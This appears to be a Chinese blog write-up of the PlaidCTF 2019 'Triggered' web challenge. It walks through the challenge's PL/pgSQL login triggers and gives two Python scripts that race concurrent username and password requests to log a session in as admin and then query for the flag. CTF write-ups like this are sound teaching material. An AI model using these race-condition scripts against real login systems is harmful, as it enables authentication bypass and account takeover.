Damn1t
for you I bleed myself dry
FRIENDS
baidu

plaidctf2019

2019-04-21 ctf

plaidctf2019

Triggered(web)


首页的一段话提示了一点,要试图登录admin角色,页面功能分为登录,注册,先注册随意账号并登陆:

查询添加主题两个功能,尝试了一下,new note没法xss,所以可能就是查询了,以admin的身份进行flag查询
分析代码,服了,存sql写的,pl/pgsql(以postgresql支持)

关注登录过程:
用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
---------- POST /login

CREATE FUNCTION web.handle_post_login() RETURNS TRIGGER AS $$
DECLARE
form_username text;
session_uid uuid;
form_user_uid uuid;
context jsonb;
BEGIN
SELECT
web.get_form(NEW.uid, 'username')
INTO form_username;

SELECT
web.get_cookie(NEW.uid, 'session')::uuid
INTO session_uid;

SELECT
uid
FROM
web.user
WHERE
username = form_username
INTO form_user_uid;

IF form_user_uid IS NOT NULL
THEN
INSERT INTO web.session (
uid,
user_uid,
logged_in
) VALUES (
COALESCE(session_uid, uuid_generate_v4()),
form_user_uid,
FALSE
)
ON CONFLICT (uid)
DO UPDATE
SET
user_uid = form_user_uid,
logged_in = FALSE
RETURNING uid
INTO session_uid;

PERFORM web.set_cookie(NEW.uid, 'session', session_uid::text);
PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
ELSE
PERFORM web.respond_with_redirect(NEW.uid, '/login');
END IF;

RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER route_post_login
BEFORE INSERT
ON web.request
FOR EACH ROW
WHEN (NEW.path = '/login' AND NEW.method = 'POST')
EXECUTE PROCEDURE web.handle_post_login();

密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
---------- POST /login/password

CREATE FUNCTION web.handle_post_login_password() RETURNS TRIGGER AS $$
DECLARE
form_password text;
session_uid uuid;
success boolean;
BEGIN
SELECT
web.get_cookie(NEW.uid, 'session')::uuid
INTO session_uid;

IF session_uid IS NULL
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/login');
RETURN NEW;
END IF;

SELECT
web.get_form(NEW.uid, 'password')
INTO form_password;

IF form_password IS NULL
THEN
PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
RETURN NEW;
END IF;

SELECT EXISTS (
SELECT
*
FROM
web.user usr
INNER JOIN web.session session
ON usr.uid = session.user_uid
WHERE
session.uid = session_uid
AND usr.password_hash = crypt(form_password, usr.password_hash)
)
INTO success;

IF success
THEN
UPDATE web.session
SET
logged_in = TRUE
WHERE
uid = session_uid;

PERFORM web.respond_with_redirect(NEW.uid, '/');
ELSE
PERFORM web.respond_with_redirect(NEW.uid, '/login/password');
END IF;

RETURN NEW;
END;
$$ LANGUAGE plpgsql;

CREATE TRIGGER route_post_login_password
BEFORE INSERT
ON web.request
FOR EACH ROW
WHEN (NEW.path = '/login/password' AND NEW.method = 'POST')
EXECUTE PROCEDURE web.handle_post_login_password();

登录过程:
用户名登入:建立uid,session,将loggin设置为false
密码登入:判断session,将session设为true

总过程:

1.获取用户提交的用户名和存储在cookie表中的 session_uid
2.根据用户名,从 user表中查询出来 form_user_uid
3.然后将 session_uid 和 form_user_uid 和为False的登录状态写入到 session表中,如果session_uid为空(就是用户请求的时候不带session),则为此用户重新生成一个。 如果 session_uid 在数据库中已经存在,就4.修改这个 session_uid 对应的 user_uid 为当前登录的用户的id,登录状态设置为false 。
5.接下来设置 cookie , 并跳转到 /login/password
6.接下来是 post 到 /login/password 的处理流程,同样是获取 session_uid和用户输入的password , 然后把 user表和session表以user_uid相等为条件做一个连接,以 session_uid 和 password 为条件做一次查询。
如果查询到,就更新用户的session为登录状态

思路就是:

1.非admin用户登陆后,在密码登入的同时给一个线程admin登录,这时admin就可以成功登入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import aiohttp
import asyncio
import time

# Set to your session cookie value
session_cookie = {"session": "8fc8c228-6409-4d1f-8677-d8155cd32f04"}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}

async def doLogin(session, url, username):
resp = await session.post(url, data=b"username=" + str(username).encode(), headers=headers)
resp.raise_for_status()
print("Got response [{}] for URL: {}".format(resp.status, url))
return resp.status

async def doPassword(session, url):
resp = await session.post(url, data=b"password=poop", headers=headers)
resp.raise_for_status()
print("Got response [{}] for URL: {}".format(resp.status, url))
return resp.status

async def main():
# force aiohttp to send on different HTTP requests
conn = aiohttp.TCPConnector(force_close=True)

async with aiohttp.ClientSession(connector=conn, cookies=session_cookie) as session:
login_post = doLogin(session, "http://triggered.pwni.ng:52856/login", "poop")

# Wait for the stage1 to finish
print("LOGIN1 = " + str(await login_post))

# immediately fire requests
login_post_race = asyncio.ensure_future(doLogin(session, "http://triggered.pwni.ng:52856/login", "admin"))
password_post = asyncio.ensure_future(doPassword(session, "http://triggered.pwni.ng:52856/login/password"))

# wait for both requests to finish
await password_post
await login_post_race


loop = asyncio.get_event_loop()
loop.run_until_complete(main())

2.利用query查询间隙的时间窗口登入admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python

import requests
import threading
import time

s = requests.session()

def login(username):

url = "http://triggered.pwni.ng:52856/login"
data = {"username":username}

res = s.post(url,data=data)

print("[*] login with username")
# print(res.text)

def login_password(password):
url = "http://triggered.pwni.ng:52856/login/password"
data = {"password":password}

res = s.post(url,data=data)
print("[*] login with password")
# print(res.text)

def query(condition):
url = "http://triggered.pwni.ng:52856/search"
data = {"query":condition}

while True:
res = s.post(url,data=data)
print("[*] query a note ...")
if "no result" not in res.text:
print(res.text)
break
elif res.status_code != 200 :
break

if __name__ == '__main__':

login("test")
login_password("123")

t1 = threading.Thread(target=query,args=(" \"PCTF\" or "*10+ " \"PCTF\" " ,))
t1.start()
# time.sleep(3)
t2 = threading.Thread(target=login,args=("admin",))
t2.start()

reference:
https://cr0wn.uk/2019/plaid-triggered/
https://blog.wonderkun.cc/2019/04/15/plaidCTF%E4%B8%A4%E9%81%93web%E9%A2%98%E7%9B%AEwriteup/#more

Author: damn1t

Link: http://microvorld.com/2019/04/21/CTF/plaidctf2019/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
git基本使用
NextPost >
DDCTF2019
CATALOG
  1. 1. plaidctf2019
    1. 1.1. Triggered(web)